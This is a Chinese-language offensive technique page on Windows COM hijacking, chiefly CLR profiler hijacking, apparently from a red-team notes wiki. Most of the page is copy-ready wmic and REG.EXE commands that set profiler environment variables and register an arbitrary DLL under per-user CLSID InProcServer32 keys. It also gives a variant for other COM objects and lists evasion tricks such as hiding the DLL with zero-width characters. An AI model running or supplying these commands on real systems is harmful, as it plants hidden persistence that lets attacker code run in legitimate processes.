COM劫持

COM组件

COM是Windows中的一个系统,用于在操作系统和软件组件之间进行交互,对各种COM对象的引用存储在注册表中。劫持COM对象需要在注册表中进行更改,以替换对合法系统组件的引用,这可能导致该组件在执行时不起作用。

劫持CLR

CLR全称Common Language Runtime,中文名称为公共语言运行时。

CLR是.NET Framework的主要执行引擎,作用之一是监视程序的运行。

在CLR之下运行的程序属于managed,不在CLR之下直接运行的程序属于native。

此处主要以CLR的劫持作为实例,因为其本质也是COM劫持,但因为本身的特殊性经常被单独拿来说。

#32bit
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
#64bit
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

参考文章:

劫持其他COM组件

操作的话,与CLR劫持相同,但是不再需要更改环境变量,少了一步敏感操作,具体使用自行取舍。

示例命令行:

SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32
REG.EXE ADD %KEY% /T REG_SZ /D "C:\Temp\qwqdanchun.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F

原理类似,故只列出常用的几个CLSID。

自行寻找的话只需要去看下面两个注册表位置即可

HKCU\Software\Classes\CLSID\HKCU\Software\Classes\Wow6432Node\CLSID\

一些特殊技巧

TreatAs(可以模拟其他类的CLSID。)

利用零宽字节特性,在Process Explorer等分析软件中隐藏劫持dll

Junction Folders和Library Files的利用

覆盖搜索顺序

最后更新于